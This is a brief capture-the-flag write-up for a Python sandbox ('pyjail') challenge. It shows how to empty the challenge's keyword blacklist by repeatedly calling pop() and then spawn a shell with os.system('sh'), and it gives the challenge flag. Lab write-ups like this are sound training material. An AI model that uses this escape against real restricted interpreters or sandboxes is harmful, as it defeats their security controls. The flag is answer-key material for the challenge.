### WriteupAlmost everything is blacklisted, but we can use .pop(). .pop() gives the last value of an array and removes it. We can use this code - ```py[blacklist.pop() for i in range(len(blacklist))]```This removes everything in the blacklist. Then you can do a simple import os and os.system('sh') - ```pyimport os;os.system('sh')```
### Flag - n00bz{blacklist.pop()_ftw!_7a5d2f8b}